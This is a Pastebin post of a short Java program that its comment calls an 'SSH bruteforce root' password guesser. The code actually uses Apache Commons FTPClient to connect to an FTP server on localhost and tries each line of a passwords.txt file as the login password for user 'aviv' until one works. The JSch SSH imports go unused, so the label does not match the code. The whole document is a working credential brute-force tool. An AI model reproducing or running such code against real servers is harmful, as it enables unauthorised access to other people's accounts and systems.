Advertisement
Guest User

Untitled

a guest
Jan 11th, 2018
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. import com.jcraft.jsch.JSch;
  2. import org.apache.commons.net.ftp.FTPClient;
  3. import org.apache.commons.net.ftp.FTPReply;
  4. import com.jcraft.jsch.Session;
  5. import java.io.*;
  6. import java.util.Scanner;
  7. /**
  8. * SSH bruteforce root - password guessing.
  9. * @author Aviv
  10. *
  11. */
  12. public class SSH
  13. {
  14. public static void main(String args[]) throws FileNotFoundException
  15. {
  16. String server = "127.0.0.1";
  17. int port = 21;
  18. String user = "aviv";
  19. FTPClient ftpClient = new FTPClient();
  20. System.out.println("Checking for passwords begin.. it may take a while");
  21. Scanner input = new Scanner(System.in);
  22. File file = new File("passwords.txt"); // password file
  23.  
  24. input = new Scanner(file);
  25. try {
  26. ftpClient.connect(server, port);
  27. showServerReply(ftpClient);
  28. int replyCode = ftpClient.getReplyCode();
  29. if (!FTPReply.isPositiveCompletion(replyCode)) {
  30. System.out.println("Operation failed. Server reply code: " + replyCode);
  31. return;
  32. }
  33. while (input.hasNextLine()) { // reading from password file
  34. String line = input.nextLine();
  35. //System.out.println("User:"+user+" Password: "+line);
  36. boolean success = ftpClient.login(user, line);
  37. if (!success) {
  38. System.out.println("Could not login to the server");
  39. } else {
  40. System.out.println("LOGGED IN SERVER with password: "+line);
  41. return;
  42. }
  43. }
  44. }
  45. catch (IOException ex) {
  46. System.out.println("Unable to connect FTP server");
  47. ex.printStackTrace();
  48. }
  49. }
  50. private static void showServerReply(FTPClient ftpClient) {
  51. String[] replies = ftpClient.getReplyStrings();
  52. if (replies != null && replies.length > 0) {
  53. for (String aReply : replies) {
  54. System.out.println("SERVER: " + aReply);
  55. }
  56. }
  57. }
  58. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement